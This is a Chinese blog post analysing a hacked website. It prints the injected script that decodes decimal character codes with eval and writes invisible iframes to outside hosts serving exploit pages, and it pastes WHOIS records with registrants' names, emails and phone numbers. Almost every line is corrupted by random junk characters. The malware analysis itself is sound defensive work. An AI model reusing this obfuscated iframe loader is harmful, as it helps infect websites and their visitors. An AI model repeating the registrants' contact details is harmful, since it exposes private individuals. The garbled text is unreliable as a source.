首发在我的博客里面，
*+00 g706*o)h http://www.areway.cn/?p=175 M"msLz <(xro/ ?k@;,l :s 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
gNkBHwv w4&\-S# <script>t=’60,105,102,114,97,109,101,
b `}hw"f 32,115,114,99,61,104,116,116,112,58,47,47,
FBOgaI83G 102,114,101,101,46,117,45,117,117,117,46,99,
x2/ciC
110,47,101,114,114,111,114,46,104,116,109,
0Pt% ( ^ 32,119,105,100,116,104,61,49,48,48,32,104,
(h[.
Ie 101,105,103,104,116,61,48,62,60,47,105,102,
cK\?wZ| Y 114,97,109,101,62′;
QF22_D<.}J t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
\JCpwNT{P {d)L0KXK <script>t=’60,105,102,114,97,109,101,32,115,
hvA|d=R( 114,99,61,104,116,116,112,58,47,47,102,114,
Hq?dqg' %~ 101,101,46,117,45,117,117,117,46,99,110,47,
g:6 `1C 101,114,114,111,114,46,104,116,109,32,119,
;RQ}OCz9}8 105,100,116,104,61,49,48,48,32,104,101,105,
s heCwhV 103,104,116,61,48,62,60,47,105,102,114,97,
6 4<*\z_ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
q$`>[&I~) document.write(t);</script>
n;:C{5 wS
>S\,LV <html xmlns=”
[ L
' > http://www.w3.org/1999/xhtml 6JR FYgI “>
PeLzZ'$D <head>
(B?Z UXM, <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
m& D#5C <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
vTWm_ed+^ <title>首页 - 爱生活家庭网
8.7lc2aX \>{;,f 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
+=nWB=iCb 转换字符串后的大概内容是（谁点击后果自付）：
6['o^>\}f <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
S/l6c P #>s I XY 查询玉米u-uuu.cn的详细信息：
u% =2g'+)_ Domain Name: u-uuu.cn
8_O?#JYi ROID: 20070901s10001s64972306-cn
)M"xCO3 a Domain Status: ok
>LPIvmT4D? Registrant Organization: 王雷
Y'#uZA3KA Registrant Name: 王雷
:oiHf: Administrative Email:
czlovexs@126.com %&s4YD/{ Sponsoring Registrar: 北京万网志成科技有限公司
O3#eQs Name Server:ns.yovole.com
e5'U[ bQm Name Server:ns1.yovole.com
(rq(y$N Registration Date: 2007-09-01 17:54
QHnC(b Expiration Date: 2008-09-01 17:54
j6L (U~% 最后PING了一下地址 都没有什么….
O.8k [Ht 1?Tj 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
H!l 9a <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
c'5ls7?}O{ <script language=”javascript” src=”
:YLurng/] http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script d b *J >
#3A|Z=,5 这个玉米应该有可能是木马作者的：
*D1vla8 foafau.info的详细信息：
+c__U
Qx Access to INFO WHOIS information is provided to assist persons in
L@ejFXQ g determining the contents of a domain name registration record in the
2lqy <o Afilias registry database. The data in this record is provided by
),^pi? Afilias Limited for informational purposes only, and Afilias does not
b&AeIU}&
guarantee its accuracy. This service is intended only for query-based
vkeZ!klYB access. You agree that you will use this data only for lawful purposes
K}'?#a(aX= and that, under no circumstances will you use this data to: (a) allow,
A\13*4:;l enable, or otherwise support the transmission by e-mail, telephone, or
+wI<w |! facsimile of mass unsolicited, commercial advertising or solicitations
'q@vTM'- to entities other than the data recipient’s own existing customers; or
rD9:4W`^ (b) enable high volume, automated, electronic processes that send
aY6F4,7/B queries or data to the systems of Registry Operator, a Registrar, or
%7?Z|'\ Afilias except as reasonably necessary to register domain names or
8`90a\t 'Z modify existing registrations. All rights reserved. Afilias reserves
zw iS%-F the right to modify these terms at any time. By submitting this query,
u*rHKZ9i you agree to abide by this policy.
q0NToVo@ Domain ID:D22418703-LRMS
*9EW &Ek Domain Name:FOAFAU.INFO
BPVOBL@ Created On:20-Nov-2007 16:05:42 UTC
x+D ecO2 Last Updated On:20-Nov-2007 16:05:44 UTC
cI rc@ Expiration Date:20-Nov-2008 16:05:42 UTC
Q8.LlE999 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
k dhwnO Status:CLIENT DELETE PROHIBITED
|t~>Xs Status:CLIENT RENEW PROHIBITED
wti Status:CLIENT TRANSFER PROHIBITED
>5D;uTy
u Status:CLIENT UPDATE PROHIBITED
ViG>gMG v Status:TRANSFER PROHIBITED
GR_caP Registrant ID:GODA-040110615
n9-W Zsc1 Registrant Name:liu hong
vF/wV' Kk Registrant Organization:
e0<O6 Registrant Street1:beijing
nyBT4e Registrant Street2:
vUDMl Z Registrant Street3:
432]yhQ Registrant City:beijing
o7eWL/1 Registrant State/Province:
D'BGoVP Registrant Postal Code:100000
6&
6|R3 Registrant Country:CN
o^r\7g6\ Registrant Phone:+86.860108888777
v2="j Registrant Phone Ext.:
) t CNp Registrant FAX:
g${k8.T V Registrant FAX Ext.:
L^bX[.uZw Registrant Email:bbbshiji@163.com
k+Z2)j" Admin ID:GODA-240110615
[khXAf1{Q Admin Name:liu hong
zJ@^Bw;A^@ Admin Organization:
ntW1 )H'o Admin Street1:beijing
Pw5[X5.DX Admin Street2:
QZ*gR#K]Sz Admin Street3:
Eh$1p iJG Admin City:beijing
cH+ ~|3 Admin State/Province:
hML-zZ Admin Postal Code:100000
q>5j (,6F Admin Country:CN
cS
Qb3}a\ Admin Phone:+86.860108888777
Fh|{ib Admin Phone Ext.:
!%.=35NS@E Admin FAX:
i6g=fx6j* Admin FAX Ext.:
iq, rS" Admin Email:bbbshiji@163.com
e^$JGh2 Billing ID:GODA-340110615
15r=d Billing Name:liu hong
{w7/M]m- Billing Organization:
BfD& e`KI Billing Street1:beijing
\NKQ:F1 Billing Street2:
dcyHp>\)| Billing Street3:
%.onO0}) Billing City:beijing
qdxaP% p2 Billing State/Province:
2u+!7D!w$ Billing Postal Code:100000
Wrh$`JC Billing Country:CN
14 (sp Billing Phone:+86.860108888777
@7KG0<]h Billing Phone Ext.:
8 )n g> l Billing FAX:
gYe6(l7m Billing FAX Ext.:
O~Bh(_R& Billing Email:bbbshiji@163.com
LWhP d\ Tech ID:GODA-140110615
ZDov2W Tech Name:liu hong
ia_l P Tech Organization:
"M3;>"`G Tech Street1:beijing
W+5. lf=2> Tech Street2:
2U( qyC Tech Street3:
90K&oof?M Tech City:beijing
UM<s#t`\ 3 Tech State/Province:
a,r
B7aD Tech Postal Code:100000
w4M;e;8m[U Tech Country:CN
p<,`l)o}~ Tech Phone:+86.860108888777
MH 9vg5QKp Tech Phone Ext.:
+_+j"B T Tech FAX:
w w #kc!' Tech FAX Ext.:
< fV][W Tech Email:bbbshiji@163.com
}r!hm?e Name Server:NS27.DOMAINCONTROL.COM
3dSC`K Name Server:NS28.DOMAINCONTROL.COM
Vjw u:M Name Server:
JbQY{z ! Name Server:
-3guuT3x\ Name Server:
mCG&=Fx Name Server:
$L?KNXHAF! Name Server:
d325C w? Name Server:
vm'Z A7f6 Name Server:
D /GE-lq Name Server:
RBBmGZ Name Server:
>k/cm3 Name Server:
8/&4l,M5 Name Server:
51y#A Q@ h72CGA| 接着下载每个文件里面的代码：
ic"8'Rwb 一步一步看..
tC5-^5[y 
UGj | )/ 
f c9@l a 
]5Dh<QY&. 
-V;BkE76 
Hmt2~>FI[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
